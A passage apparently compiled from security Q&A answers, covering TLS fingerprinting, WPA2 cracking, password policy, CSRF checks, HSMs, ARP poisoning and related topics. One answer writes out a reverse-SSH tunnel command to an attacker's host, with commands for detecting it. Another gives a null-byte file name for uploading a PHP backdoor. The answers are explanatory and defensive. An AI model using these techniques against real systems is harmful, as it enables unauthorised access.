unknown fingerprints in the JSON format used for the fingerprint
definitions.
Fingerprints which are generated can be exported as a C
struct by Fingerprintout and compiled back into FingerprinTLS to
enable detecting in future instances.

Lee demonstrates how easy it is to fingerprint clients by the TLS signatures in a later talk he did at SecTor CA -- http://www.slideshare.net/LeeBrotherston/tls-fingerprinting-sectorca-edition -- be sure to check out slides 66 and 69-70.
fingerprintls -i en0 -s

He also shows how to import new signatures here -- https://gist.github.com/LeeBrotherston/1a0ae1aedd968af1fce3
Another demonstration shows how to leverage the Berkeley Packet Filter (BPF) from other tools and frameworks such as Wireshark, tcpdump, and/or libpcap -- https://gist.github.com/LeeBrotherston/92cc2637f33468485b8f
Finally, Lee analyses a sample pcap from the Pokemon Go video game off an Android device -- https://gist.github.com/LeeBrotherston/5cca4b372277d7c6a049b26f87544351
Certainly older methods described by some of the other answers here may still be relevant, but I do suggest you check out the work above. For more on the work that SSLLabs did, check out -- https://github.com/ssllabs/sslhaf -- which is an Apache module for passive SSL client fingerprinting


Is receiving fake torrent data possible?

Yes, a client will notice and block.

A torrent is divided into pieces, a piece is divided into chunks.
Every piece has its SHA1 hash included in the .torrents metadata.

If a peer send fake or corrupted chunks this will be detected when the whole piece has been received and the hash check fails.
A peer that repeatedly sends bad data will be blocked, but there is some leeway because corruption may naturally occur sometimes in a data transfer.
A good client has heuristics to find out exactly what peer(s) sent bad data by comparing the chunks sent in the piece that failed the hash check, with the chunks in the same piece when it has been re-downloaded and passed the hash check.


Username in browser history (url) - is this a security problem?

It really depends on the nature of the website.
If the site already shows the username on other places (like here on this site) then it probably isn’t PII.
If the username is show nowhere else, then it might be considered PII.

That being said, why is the username exposed in the url for an edit (apart from being the default for certain frameworks)? Especially since URLs are generally logged and saved in history, it is generally considered a bad practice to use usernames because it could give a hacker information about the usernames used in your system. Given this information and the fact that users tend to reuse passwords, the risks are getting bigger than they should be.


Geographic equivilent of RFC 3161 (X.509 PKI Time-stamp Protocol)

The question requires some effort at precise definitions.

Time Stamping is about proving the existence of some information at some date T. Data is just a bunch of 0 and 1, which have been known for millenia, so we need to define what we mean by: "some information which exists". We thus consider the notion of a message: a sequence of bits, with a beginning, an end, and precisely defined contents. A time stamp proves that at some date T, someone was envisioning said sequence as a whole.

In the case of RFC 3161 time stamps, this "envisioning" takes the form of a digest, computed over the message with a cryptographically secure hash function. The time stamping authority (TSA) receives the digest and computes a signature over a structure which contains the digest, and the current date and time (as the TSA knows it). Note the fine print: the TSA does not see the message itself, only a hash thereof; and the TSA has no way of knowing whether the hash value was really obtained from an invocation of the said hash function.

So the precise model is the following: as some date T', a message m and a time stamp are presented; the time stamp contains the date T and h(m) for some hash function h. This proves the existence of m at date T on the assumption that h is pre-image resistant: if h(m) existed at date T then m existed at date T since pre-image resistance means that it is not computationally feasible to find a m which matches a given pre-existing h(m). Also, the TSA must know the current date and time, and hold a private key, in ways which are resistant to tampering.

Location Stamping thus requires a definition of what you mean by "where the data is". In the case of time stamping, we rely on "envisioning" incarnated by the computation of a hash function over the message. Since data can be copied at will, it has no defined unique location, and is not inherently tied to a geographical place.

The GPS protocol is mostly irrelevant here. It is a one-way protocol: the satellites emit, but do not receive; and the sent messages contain no information whatsoever on where anything on Earth is actually located. Location is computed from the time of reception of the messages from several satellites (actually, the precise time lag between messages from pairs of satellites). The only locations that the GPS protocol really defines are those of the satellites themselves. So the information you want to certify, in a TSA-like way, is that you received some GPS messages with a specific lag. But a proof cannot be based on taking your word on it.

Therefore, the best you can hope for, is to have a device which:

is tamper-resistant;
knows (in an unforgeable way) its current location, as well as the current date and time;
stores a private key for a signature algorithm;
can receive an arbitrary message m;
computes a signature over a structure which contains the current device location, the current date and time, and h(m) for a given hash function m.

It is important that the device receives m and computes h(m) itself, because you want to prove that the message m itself was at a given location. Also, verification now relies on collision resistance of h, instead of pre-image resistance (with a collision between m and m', the device would receive m and this proves nothing on where m' is at the same time).

There are practical issues. A TSA can be located in a secure environment, e.g. a guarded building; it receives requests and sends responses over some network. A location stamping device, on the other hand, must be "on the spot", and thus much more likely to be in an attacker-controlled environment. In particular, nothing guarantees that it receives real GPS messages at exactly the right time. To change the notion of the current location, the attacker just has to "delay" a bit some of the messages from the GPS satellites; since the GPS protocol is one-way, there is nothing which can be done against that at the protocol level.

Another solution implies using a mesh of base stations which receive a signal from the device you want to locate. The location stamping device would still hash the message, and then sign it, and send the signature to (secured) base stations. This would require a two-way protocol, so that each station could measure the precise time it took for the device to respond to a request. For instance, if the device takes precisely 5.12 ms to compute a signature, and the response from the device took 5.30 ms to be received by the station, then the station knows that the device must be within 27 km of the station (information travel is limited by the speed of light, i.e. 300000 km/s, and a roundtrip of 0.18 ms cannot be achieved if the total distance exceeds 54 km).

A mesh of base stations talking to a device: this looks like a "mobile phone" situation. But this solution requires specific stations able to time things down to the microsecond, for a mediocre final precision.

Summary: this looks hard.


Understanding AirCrack output in Backtrack 5

As @Awhitehatter said, brute force is the only way to crack WPA2. It is based on the initial handshake and after that the key can be computed offline. The time necessary to crack WPA2 depends on the complexity of the key and your computational power. There are tools which can help you in cracking a relative weak key (common word(s)) by using so called dictionary lists. If not, you can use John The Ripper to compute all the key combinations.

Just to have an idea about the time it takes to crack a normal WPA2 key (actually a password) using brute force (computing all the combinations), let's pick a decent password containing 8 characters, lower and upper case and digits, with a speed of 600 keys/second on a Quad core, we will crack it in... 36 months! Take into consideration that this is the worse case scenario (100% chances of success). You can calculate other timings based on other given password details using the Password Calculator.

Also to answer your question, a step by step tutorial on explaining how you can crack WPA2 using Backtrack is available here and not only...


Is OpenPGP encryption a valid replacement for SSL when passing messages?

Why would you use PGP if you can just sign the certificates with your own generated root certificate and just add the public root certificate  to all your participating servers/clients?


Password Policy: Issue random generated passwords / Let the user choose a password

Best password policies:
Strong, managed, and kept secure.

Strong

long(12 or more characters)
full character set required(upper, lower, number, symbol)
no complete words
no personal information if based on a word

managed

kept in a secure location in case a lookup is needed
changed regularly
not the same as the previous pass
kept hashed in a database behind a completely random password(of insane strength) or on a non networked database that requires physical secure access

secure

recovery happens in person or thorough secure channels
passwords are reviewed before changing(either automatic or on a schedule)
no user knows another users password(if it's discovered they do and don't have a good reason for it, force a password change)
option for 2 factor authentication to make it more secure

these tips are the best for password security and often get used on an enterprise level.

About 2 factor and some problems with it:

Of course that option for 2 factor authentication often gets tossed around as a "Why not just use 2 factor authentication then". Well there's actually a reason for this: you probably should for accounts that deal with sensitive data. Oh wait yeah there's also some pitfalls:

For everyone else this adds a physical layer of authentication that costs money, time, and setup as well as running or hiring a service to generate, and keep the authentication in sync. With networked and off site locations possible, this can run into some problems if not handled correctly, and over time always needs upkeep. Worse yet loss of keygen is a common problem, so backups are needed on site to be handed out, and if on a business trip 2 factor leads to a huge problem if lost. Then there's training them in how to use it, and forcing them to still have secure passwords. This takes a long time to get running(depending on the size of the company, this could actually lead to an entire IT overhaul), and requires training and staff dedicated to just maintaining it.

TL,DR:

Implement secure passwords, and talk to the company about password policy and maintenance. Then offer the option of 2 factor(and force it in some places if needed). Also always review passwords(either manually or through a algorithm) to confirm they aren't easy to crack or contain personally identifiable information. These best practices are enough to keep many companies safe. However never forget that passwords are only 1 part of cyber security.

As for giving out random passwords... well initially this is fine, but eventually the need to be rotated, and if that's the case then you should let them choose so they can remember it easier. If they can't remember it they will keep failing to login, IT load will increase due to forgotten passwords, and then writing it own on sticky notes and losing them now becomes an attack vector, or keeping them in personal email wit ha weak password, all sort of bad stuff, etc.. It would be better to instruct them in how to create a secure, long, strong, and easily remembered password like the following:

R4nD0ms7@Pl312eM0/312
is a random staple remover. Good luck identifying that at a glance, or cracking it. But wait you've already memorized the base!


What are the main advantages of using LibreSSL in favor of OpenSSL

There is a very extensive article at Wikipedia and it does not make sense to reiterate everything here. But to give you some highlights:

It replaces OpenSSL on OpenBSD, OS X since 10.11 and on some other systems.
It started with throwing away lots of stuff which was considered useless for the target platforms or insecure by design and it also added some more secure defaults.
The result of this is that from the 6 critical vulnerabilities in OpenSSL since the fork none affected LibreSSL.

  Why would server administrators choose LibreSSL over OpenSSL?

If anybody cares about security or wants to better sleep at night and not care about the next OpenSSL vulnerability the choice should be clear.


Is this vulnerable to an insecure URL redirection attack

There is nothing especially dangerous about the redirect. If someone can modify the URL, they can likely modify any data in the response. That is, your site is totally compromised already.

I would make sure that your web app is generally secure (eg: follows OWASP Top-10). A defense-in-depth security philosophy suggests that you might want to use SSL between the load balancer and app servers.


One-time mystery redirect from one of our pages

The first place I would be looking to find what my server has done is in my logs. A redirect issued as a header would show there (but not a meta or javascript redirect).

At least this would tell me which code to audit.


Securing secure websockets
Secure Websockets start life as a standard HTTPS request and only connect if a valid HTTPS connection can be established with the server.  As a result, websockets will automatically respect any public key pinning, strict transport policies, etc, which the server sets in the response headers when the client first attempts to establish a websocket connection.
Therefore, for web browsers, it's simply a matter of providing a standard Public-Key-Pins header.  I couldn't say how it works for mobile clients.  It may vary from platform-to-platform, but it wouldn't surprise me if many simply follow the same security headers as browsers.
A Caveat
Note though that you may not want to actually bother with public key pinning, as it seems that support for it is waning or even already gone.  The trouble with public key pinning is that it is one of the only security measures that can literally lock people out of your website in a way that cannot be fixed, as has happened to businesses.
Understanding Websockets
You linked to an article which discusses the fact that you cannot set request/response headers over a websocket connection.  This is true, but it also doesn't change my above answer.  The article is actually talking about something different, although it is a common source of misunderstanding (I ran into the same question myself when I enabled authentication on my first websocket server and client).  To explain though it's important to understand the lifecycle of a websocket request:

The client sends a standard HTTP request to the server with a special UPGRADE header.
The server sees the header and sends a response letting the client know it accepts the request to upgrade to a new protocol
Having been officially upgraded, the client and server both keep the original TCP connection open and send data back and forth through it directly as needed

Your article is referring to step 3 of this process.  Once the websocket connection has been established, you can no longer send request or response headers because there are no longer HTTP requests being sent.  Instead the client and server exchange data directly over the TCP connection in whatever format they want.
However, the initial attempt to establish the websocket connection still happens over a standard HTTP request and requires a standard HTTP request to be properly established.  As a result, the browser should still respect any response headers sent back down by the websocket server when initially establishing a connection.  And indeed, the server can send additional headers back down at that phase of the process.


Reverse shell attack and proxy interceptions.. . is there anything worng?

Yes, reverse ssh may be used to bypass firewall incoming limitations.

But As you have to run such a command on target:

ssh -R 2222:localhost:22 myuser@myipaddres

This will be visible by sysadmin via a simple

ps -C ssh ww

This command will print your IP address and the login used for remote ssh.

The following command:

netstat -tanp |
    sed -ne  '
        s/tcp.*\(127.0.0.[0-9]*\):22[\t ]*\1:.* \([0-9]\+\)\/.*/\2/p
        ' |
        xargs -n1 ps wwho sid --ppid |
        xargs  -n1 ps efwh --sid

will print exactly what you'r doing right now.

At all, if you're logged into a honeybot, (real) .bashrc contain something like script for logging everything you do.

And last but not least, Reverse SSH implie that target have an acccess to one of your host. So be care that in this host, there are not another opened ssh session.


Is MasterPasswords password generation method good?

These "stateless" password solutions all have the same general structure:

There's a master password that you memorize, and input into the program when you need to use it.
The program derives a master cryptographic key from your master password.
The program prompts you for some set of site and account metadata that describes each site or service you use.
Using the master key and metadata, the program uses a pseudorandom function to generate a site password in a way that's both pseudorandom and repeatable.

The problem with these programs is that they falsely advertise themselves as being more secure than plain old encrypted password managers like KeePass, 1Password or LastPass.  In this case, the page of the program you ask about says this:

  Master Password is not a password manager. It does not store your website passwords. Therefore, there is zero risk of you losing your website passwords (or them falling in the wrong hands).

And later down:

  You don't need to worry about your password manager website getting hacked, your phone getting duplicated, somebody taking a picture of your passwords book - Master Password stores no secrets.

But a more accurate statement would be this:

With a password manager, an attacker has to steal your encrypted database and guess your master password to recover your site passwords.
With their program, there's no "steal the encrypted database" step; all that an attacker needs to do is guess your master password and the account metadata.

So the reason they claim they are more secure than a password manager, turns out, is actually the reason they are less secure than a password manager.  Ooops.


SOAP Web Service: Basic Auth. vs Password in xml

HTTP Basic Authentication transmits the password in plain text - that is, the text of the password is encoded with Base64 but not hashed or encrypted in any way.

As such, most attack vectors which would successfully retrieve the password from the body would also be able to retrieve it from the HTTP header. Both will be equally protected by TLS, which will encrypt both the headers and body of the request.

However, it is possible that incorrectly configured logging or proxying might leak one part of the request without the other. For instance, a system might log the request and response bodies for debugging purposes; however, it might also log the headers, so both would be equally vulnerable. Indeed, there might be code to mask sensitive data in the request body, which fails to do so when logging headers.

In short, I would suggest that both are equally secure / insecure, and only a more complex authentication scheme (e.g. hashing a nonce and timestamp with a shared secret) would improve matters.


What's an SSL certificate that's not even DV

Seems like nonsense from the A2 support. A certificate that's not even domain validated only carries as much trust as a self signed certificate and self signed certificate is not worth anything to pay.

In this case, I believe Alpha certificate refers to certificates issued by AlphaSSL certificate authority which is a brand of cheaper certificates owned by GlobalSign. It's basically a certificate with alternative trust chain, as AlphaSSL certificates are ultimately rooted to GlobalSign Root certificate.


Understanding the strength of mobile two-factor and alternatives to this

Relying on anything controlled by a mobile carrier is a bad idea. SMS is insecure by design (it transits in plain text) and mobile carriers don't care about security unless it interferes with their ability to scam their customers, so they couldn't care less if there's a bad guy pwning their infrastructure and intercepting 2FA texts en masse (given the horrors I've seen at a major UK carrier I wouldn't be surprised if most carriers already have advanced malware planted somewhere deep in their infrastructure).

For email you could set up your own fake "email" server that responds to email queries (with the site's name) and responds with the corresponding 2FA code. Internally that server would be mimicking the functionality of the "authenticator" apps (TOTP/HOTP are open standards and the online services don't know nor care whether you're using a smartphone app or some obscure solution like this one). You'd be connecting to the email server securely and you'd have some scripts that interpret incoming email queries and putting the responses (with the codes) directly in its "inbox" IMAP folder for your email client to pick up.


Is OpenID Connect implicit flow safe to use?

Implicit Flow is now discouraged in favour of Code Flow with PKCE. This is a fairly recent change (in the last year or so), which is why you might see quite a lot of documentation and libraries still recommending Implicit Flow, and support for Code Flow with PKCE is sometimes still lacking in OIDC libraries.

The main concern with Implicit Flow is that at the end of the authentication process, the user is redirected from the identity provider to your app with an access token in the URL. Visited URLs are often stored in browser history and other places, so there is a risk of a malicious actor gaining access to that token and impersonating the logged in user.

Code Flow with PKCE on the other hand makes a HTTP request for the token instead, allowing it to be returned in the body of the response.

This blog has a good comparison of the two.


Why is an HSM required to protect CA certificates (rather than a regular USB token)?

Hardware Security Modules's (HSM's) are used in systems where a company has determined that the risk involved requires a higher level of control that a personal key.

The Use of HSM's for Certificate Authorities

HSM's are common for CA applications, typically when a company is running there own internal CA and they need to protect the root CA Private Key, and when RAs need to generate, store, and handle asymmetric key pairs.

Uses outside of a CA

HSM's are suggested for a companies Privileged Access Security System. These system's use the concept of a "vault" which is unlocked via a key or multiple keys. These keys are usually only required on startup of the vault.

With vaulting systems, typically options for storage are:

Store them on the server. This is not very secure even when you limit access to the server.
Store them on Disk/USB. This requires that disk be mounted every time the system is restarted (trouble if you do regular restarts).
Store them on a HSM.

In secure systems, this allows key to be generated without a human needing access to it, stored in a system that is FIPS Level 2+ compliant, and only accessed when a system starts.

Using an USB Key vs a HSM

Primarily, end user USB's are designed for the end-users access. They are storing keys which might authenticate them, have encryption keys for data they are responsible for, or are part of a process that identifies the user is who they say they are.

Examples of this are the use of a YubiKey to hold the private encryption key for sensitive company data. You might have access to a trade secret, or are allowed to perform analysis on compliance critical data such as PII and Healthcare or Credit Card Data.

HSM's are not designed to be a personal authentication unit. They are installed on servers to provide a secure generation, storage, auditing, and distribution of keys for high risk applications and systems.

Examples include the storage of server certificates for authentication between systems, encryption keys which are used by processes but don't need to be seen by humans, and shared keys between servers used to access encrypted data or establish encrypted connections.

Pseudo-Summary

You could think of the use cases in terms of people verses systems.

If a company has a need to provide increased security of systems which a person uses require access to as part of there job, something like a YubiKey makes sense.

If a company has a need to provide increased security to systems where processes and the systems themselves need access but a user wouldn't normally be required to know, then a HSM is the better option.

Anecdote

Imagine walking around with they key to your companies entire certificate authority in your pocket that provides the authenticity for 1200 servers and that Key slipped out a hole in your pants. Now imagine the nightmare of having to re-issue a new CA certificate, all the new signing certificates, and all the server certificates.

edits:

At the suggestion of @MikeOunsworth, I updated and expanded this answer.


How can I recover a GPG private key from a PC which has died?

You cannot recover from a public key to a private one – at least not within any kind of reasonable (computing) time. Being able to calculate a private key from the public one would circumvent encryption and would lead all efforts to ad absurdum.

You need to either:

Try to recover from an old backup (like you succeeded to do following your comment)
Revoke the key (on key servers) if you published it using a revocation certificate (you hopefully created). If you haven't, do so now.

There is no way to recover control over a lost private key – if there is no copy left, you've lost control over it.


It's generally not recommended to use IP addresses for certificates.
That said, you have several alternatives. If you absolutely must use an IP address as identifier, then you can configure your DHCP server to always give the NIC of the embedded device the same IP address. I use this technique to ensure all static devices in my home have fixed, known IP addresses (e.g. my router is 192.168.0.1, my home server is 192.168.0.2, etc.), and all "dynamic" devices (e.g. phones, etc.) have high IP addresses.
An addition to this is to use DNS. You can use an internal DNS server, which manages a pseudo-TLD such as .lan or .local, and use that to give your devices logical names. For example, you can designate your printer as printer.lan, and give it the fixed IP address 192.168.0.7. This way, you don't need to re-generate the certificate if the IP should ever change. You just need to change the DNS entry.
But why is it not recommended to use IP addresses for certificates?
This is a legitimate question. It makes conceptual sense to certify that something is reachable under a certain name, rather than a certain address. The CA wants to sign "This certificate is for printer.lan", not "This certificate is for 192.168.0.7", because as you correctly identified, you really can't know who 192.168.0.7 will be in a month or two.
Logical names, on the other hand, will stay the same. Your phone will never be called printer.lan, even if it may one day be reachable under 192.168.0.7.


ARP Poisoning: WPA Personal and Enterprise

Because, if that is correct, I believe that in WPA Personal, in order to the decrypt the traffic that you have received from the client (victim) you would need to generate the PTK used by the victim

If you are doing ARP poisoning in the manner you suggest, the only encryption on the traffic is between your machine and the AP. You don't need the victims PTK at any point.

While your traffic flow illustrates the logical flow of data, the physical flow of data is somewhat different (V = victim, A = attacker, GW = gateway, AP = access point) with the inverse for return traffic:

V -> AP -> A -> AP -> GW

802.11 encryption is only between the client and AP so since you are not intercepting the flow of data from V -> AP, you don't need to decrypt that data. The flow from AP -> A you will be able to decrypt in either WPA-Personal or WPA-Enterprise as this will be using the PTK generated between AP and A during the association process.

  Again, if what I've said is correct, how would be possible to decrypt the traffic of the WPA Enterprise that has multiple passwords, making therefore not possible to generate the PMK?

You weren't entirely correct, but if you were trying to decrypt V -> AP traffic and WPA-Enterprise were used, you would be out of luck unless the EAP method employed was broken and leaked information.

At the point of the 802.1X authentication, the client is not associated to the network and doesn't have any IP information. There is no way ARP poisoning from a wireless client in this scenario will affect the 802.1X traffic.

Edit: I meant to also mention that if the AP is also the GW (i.e. most consumer based wireless gateway devices) then this type of attack may not be possible. As L2/L3 devices they may very well recognize that a packet to the gateway is destined to a L3 interface on the device itself and not for another L2 device and route it itself.


Is dereferencing a null pointer in C a security risk if the program isn’t a daemon, but a small script lauched as a separate process for each request?

Dereferncing a null pointer can be a security risk on some architectures and operating systems, and whether it is a daemon or a handler or whether the function or method itself accesses the file system is not the sole determining factor in risk assessment.  One cannot easily enumerate all exploits of indeterminate operations from source code alone.

In the code provided, the null is in the RHS (right hand side) of the assignment in the corresponding AST (abstract symbol tree) in all six cases.  That means that security cannot be breached inside the function because of a null t.

There is a small risk, but it involves more than the mentioned dereference.   It involves the subsequent use of the address space pointed to by the last two arguments.  If invalid results placed into the target of those pointers could cause a security breach, then it is important to test t before dereferencing it.


There is no clear evidence that third party anti-malware security software (AV software) is more effective than Apple's own security solutions to protect Macs. Rich Mogull on the Mac TidBITS blog explains:

  Far less malware exists for Macs, but even there we see limited
  effectiveness across tools. For example, in a recent test by Thomas
  Reed, even the best Mac malware tool detected only 90 percent of the
  known malware samples used. This is a poor showing — we only see
  dozens of Mac malware variants per year, compared to 65,000 per day
  for Windows.

  Despite Flashback being used as a call to arms to encourage people to
  adopt antivirus tools, most of those tools failed to detect Flashback
  for weeks — until it was highly publicized.

AV Vendors make a number of dubious claims with little real-world verification; if a widespread "zero day" attack did hit, there is no reason to expect third party software, which relies on signature databases, to be able to identify and stop it. Some third party Mac AV packages didn't recognize well documented Flashback variants for more than a year after it first hit.

More, Apple has its own security features, Xprotect and Gatekeeper, which do a good job of identifying and preventing known and potential malware from executing on your system. Apple keeps these up to date, and is generally good about patching known security issues quickly.

Third party AV software does have some (limited) utility in protecting non-Mac systems from infected files sourced from other non-Mac systems (sharing documents, etc.)


Does CVE-2012-5786 affect Apache CXF 3.1.11 and later?

What I understand from exploit article linked in cve (shmat_ccs12.pdf) : cxf is vulnerable to man in the middle attack when configured not to check certificates (disableCNCheck=true).
By default it is configured to check certificates, so if you don't play with disableCNCheck (to use self signed certificate by example) you're safe regarding this cve.


What is the purpose of the instruction fldz on the Aaron Adams shellcode?

From what I understand, the value of EIP that you've mentionned (ipoff) is actually the value taken from the Last instruction pointer register.

Therefore, when calling fnstenv [esp-12], the value that will be pushed on the stack will be a pointer to the fldz instruction, since its the last floating point instruction to be executed before calling fnstenv.

Without it, the value returned by fnstenv could be anything.

Reference : https://home.deec.uc.pt/~jlobo/tc/artofasm/ch14/ch143.htm

  The instruction and data pointer registers contain certain state information about the last floating point instruction executed.


Is a 3 or 4 digit CVV enough for online transactions?

The credit card companies are aware of this, their anti-fraud detection software will block a card if they see more than a small number of attempts with incorrect CVV codes. Even having an understanding of the algorithms for generating CVVs a hacker would still have to get lucky to successfully be able to make a transaction.

As for whether it is a great system then the answer is no. It's still vulnerable to fraud, however it is much better than no CVV code at all. It's a quick and easy fix to add more security into the system until the industry can agree on a more permanent solution.


Microsoft does indeed scan URLs in messages to see if they are "spam, fraud, or phishing" links.  They assert this is the only reason they use them.

I'm not sure if the other requests from weird UAs are microsoft as well, but it's a fair bet, unless they're leaking the URLs somewhere.  Given the "OfficeLive" in some of the user agents, I'd guess they're Microsoft, but of course, it's trivial to send whatever you want as a User-Agent header.

See:

http://www.h-online.com/security/news/item/Skype-with-care-Microsoft-is-reading-everything-you-write-1862870.html
https://news.ycombinator.com/item?id=5704574


Is storing the same data multiple times with different encryption keys a security issue?

You are describing a few different problems.

Storage of credentials and other secrets

  I don't want to store this 'master' key in the source code (PHP), on disk, or anywhere else in plain text.

You are correct that hardcoding secrets is a bad idea, you may want to try using something like hashicorpo-vault (This particular article may be related to your workflow as well) or a Key management service like Amazon KMS.

Multi-user Encrypted Access

There are a few different strategies to this type of setup. You can encrypt the data with a shared key and then encrypt that key for each user using the user's public key. You would then need to update the per file key and re-encrypt with each user's public key again if there was any change in the access group's membership.

Deriving a key based on the password can be complicated because you need to ensure you properly update all of the keys and redo all the encryption if the user's password changes.

You may want to look at MIT's Mylar project, as it tries to accomplish something similar to the storage and access model you described.

Breach scenario

  My initial concern is that if there is a data breach of source code and data, then an attacker would see that the same key was encrypted many times (once for each user). Could this then reduce the security of the 'master' key?

If you are ever decrypting server side and the attacker has access they can grab the decrypted copy of the data.

If you are creating user's private keys using the password as the seed then you have some risks especially if the passwords can be identified by stealing them or reversing the hashes.

More Generally

  Could this then reduce the security of the 'master' key? Either by patterns in the encrypted data or by testing that a decryption attempt on one record matches that of another?

I believe you are asking if encrypting the same value with multiple different per-user keys would make it easier to get back to the original plaintext value (?).

If you happen to know the plaintext value you may be able to figure out the other encryption values. This is known as a "known plaintext" attack. However, this does not mean it works if you just happen to know two different encryption outcomes and know the input was the same, but you don't know the actual input.

Your question may also be that given encryption function f(key, masterkey) and then running it once with key1 and then with key2 would comparing the two outcomes allow you to figure out masterkey or would knowing the output of f(key1, masterkey) allow you to figure out key2?

It may be possible, but would depend on the specific algorithms, if there is padding, etc. If there is significant entropy in the algorithms then slight changes in inputs should give very different outputs that do not show patterns. You may also want to read up on "weak keys" and chosen-plaintext attacks.


Cookie that contains NULL byte character (0x00) on new WordPress.org site - any issues?

Does anyone know if there are any issues I should be aware of?

The main issue is that the scripting language (for example PHP) that is parsing the cookie may be implemented in a language (for example C) that treats the NULL byte character (0x00) as a special control character.

For example, in the C language a "string" of length N is implemented as an array of N+1 characters, where the (N+1)th character at the end of the array is 0x00, which is used to indicate the end of the string.

The general security principle being violated here is the unexpected mixing of instructions (the instruction-like control character 0x00) with data. Cookies are generally thought of as strings of data, but because the null byte has a special control property in C (it indicates the end of strings and can cause string parsing routines to return) it functions somewhat more like an instruction than data.

Here's a specific example of how the null byte could cause problems: It might be possible to upload a file called "backdoor.php\x00.png" that contains PHP backdoor code. Even if php files are blacklisted from being uploaded, this file might still be uploaded since the extension is ".png." If the PHP filename parsing (which is implemented in C) improperly returns at the null byte character the file might be saved with the name "backdoor.php" and could then be executed by accessing the file in the uploads folder. This type of exploit is called "Null Byte Injection."

I'm not aware of a specific exploit based on a null character in a cookie, but the idea is similar to above and would exploit the special properties of the null byte in the implementation language of the code parsing the cookie.


To "Option (2) doesn't even ask for his current password": I don't understand how can it be. To request password change, user has to log in into his profile. For this a password is required. May be you mean that user doesn't use master password in the password manager and effectively log in without entering any password. If this is your case, then you are right saying "but I think that is an illusion".

What should you consider?

Use multi-factor authentication. A popular 2-factor authentication is based on a  password (what user knows) and on the usage of the smartphone (what user possesses). Usage of smartphone can vary: this can be SMS, push notifications that request confirmation, OTP generator, photo-TAN. Smartphone should secured, via PIN or fingerprint or face-ID.

Actually you do have 2-factor authentication. But if user compromises it (by not using password or by not caring about locking the smartphone), it is useless.

Instead of one of these factors you can use hardware token like Google Titan or Yubikey, e.g. [password + hardware token] or [smartphone + hardware] token. But again, if user does not care about the token, he is not in safety.

When choosing the solution, compare the price of compromising user account with the price of implementing a particular security.
If you are developing a web site for local bowling club, may be simple 1-factor password authentication is sufficient. If you are developing an online banking application, then you may want to allow critical operations like password change only after user is authenticated by service desk via video. Compare price and value.


How to check the origin header server-wide in IIS to prevent CSRF

You could do this with a Custom HTTP Module, written in ASP.NET. The ASP.NET is required to run the module, although the rest of your deployment need not be in ASP.NET. Note this code is untested, but should put you on the right lines. Of course this does not implement the full logic described in my other answer for dealing with CSRF using Origin, so it only affords some protection (i.e. no old browser protection).

Example adapted from Walkthrough: Creating and Registering a Custom HTTP Module.

Create Module

using System;
using System.Web;
public class HelloWorldModule : IHttpModule
{
    public HelloWorldModule()
    {
    }

    public String ModuleName
    {
        get { return "HelloWorldModule"; }
    }

    // In the Init function, register for HttpApplication
    // events by adding your handlers.
    public void Init(HttpApplication application)
    {
        application.BeginRequest +=
            (new EventHandler(this.Application_BeginRequest));
    }

    private void Application_BeginRequest(Object source,
         EventArgs e)
    {
    // Create HttpApplication and HttpContext objects to access
    // request and response properties.
        HttpApplication application = (HttpApplication)source;
        HttpContext context = application.Context;

        if (context.Request["Origin"] != "https://www.example.com")
        {
          // Deny request - spit out 403
        }

    }

    public void Dispose() { }
}

To register the module for IIS 6.0 and IIS 7.0 running in Classic mode

<configuration>
  <system.web>
    <httpModules>
      <add name="HelloWorldModule" type="HelloWorldModule"/>
     </httpModules>
  </system.web>
</configuration>

To register the module for IIS 7.0 running in Integrated mode

<configuration>
  <system.webServer>
    <modules>
      <add name="HelloWorldModule" type="HelloWorldModule"/>
    </modules>
  </system.webServer>
</configuration>

As you are running MVC, make sure you alter the one in the root (not the Views folder).


Let user send an email to register to prevent outgoing mail abuse

The problem I see with this question is that you are trying to mitigate a threat, but that threat only seems a small detail of a much more complex threat model. What I'm saying is that if the threat is "someone harming your reputation", then the sign-up issue you describe is only one possibility the attacker has, among lots of others, to attack your reputation.
For example, the attacker might spoof your emails, or register a typo-squatted domain like your-copmany.com (note the swapped letters) and directly send unsolicited emails pretending to be you. Or they might even make phone calls, pretending to be you, with the sole intent of harming your reputation.
That's why I think solutions like yours are rarely implemented, even though they might make sense and might even work in limited scenarios. If the possibility of a "reputation attack" is real, then you have bigger problems which might require complex solutions. But if the possibility is just theoretical, then you can probably leave it out of your threat model and not implement any mitigations (like most companies do).
By the way, if you are only concerned about a possible abuse of a sign-up form, you might also think of implementing some kind of "monitoring" algorithm that checks for suspicious activity. For example, suppose there are 10 sign-ups per week on average. If all of a sudden you have 50 sign ups, that might be an alert that you might want to investigate. Or if your customers are only from the US and suddenly you get sign-ups from foreign countries, that might be another alert. Or if the confirmation links are usually clicked within a few minutes, and suddenly you realize that most of them are never clicked, that's definitely an alert. Of course implementing such a monitoring system might cost you more than just implementing your simpler solution (sign up via email). There are pro and cons, it's up to you.


Is full disk encryption per disk or per partition?

to me, "full" means "all of it".  I believe that BitLocker uses TPM on your device to encrypt the drive/partitions.  If you don't have all logical partitions encrypted, then to me the entire disk is not protected.
Encryption is encryption in a case where TPM is used to decrypt or access the disk/partition. I'd suggest encrypting the whole thing - if there's any data you don't want lost/compromised in the event of theft, encrypting it with TPM is the way to go.  You might take a small performance hit with making partitions accessible vs the whole drive, but that happens during the boot sequence.  Ideally you'd use a means of encrypting a volume that requires a preboot sequence/authorization - that will make the casual bad guy work harder than using encryption not requiring preboot authentication.
To me, the disk is the physical volume.  The drive is either the partition or mount point or remote storage and is a logical volume.  ie you have one hard drive, which is a disk and you partition it into volumes and label those c: and d: (or whatever).  In that case, full disk encryption would encrypt the physical disk and full drive encryption would encrypt the logical volume.


How is the key obtained when I login via VPN?

The precise details will depend upon the specific VPN software you use, but generally, the same cryptographic key will be pre-loaded into both ends of the VPN.  It may be specified in a configuration file, or derived from a passphrase, or in some other way made available to both endpoints.  That's how the VPN software on your machine encrypts data and how the VPN software on the end end can decrypt the encrypted data.


I have a CEH certification and attended the official training for it. The course material is sub-par in my opinion.
Video Material
The CEH training has quite a lot of video material, which you can consider to be akin to a lecture over the topic. Positive about the video material was that it was spoken in consistent English with an understandable accent, so it should be easy to follow for non-native speakers. My only gripes with the video material is that the instructor seems to repeatedly try to "impress" the viewer with "cool hacker things", while not going into enough technical details to be useful.
Slides
The slides during the video and available separately are unimpressive at best and absolutely horrible at worst. There are slides, which I have shown to penetration testers with years and years of experience, and all I got from them was looks of confusion.
One slide in particular seemed to have been a conflation of two completely different attacks, which was completely non-sensical. Even the instructor was very confused by the slide and just handwaved it away (akin to "So yeah...and as you can see, then the attack succeeds")
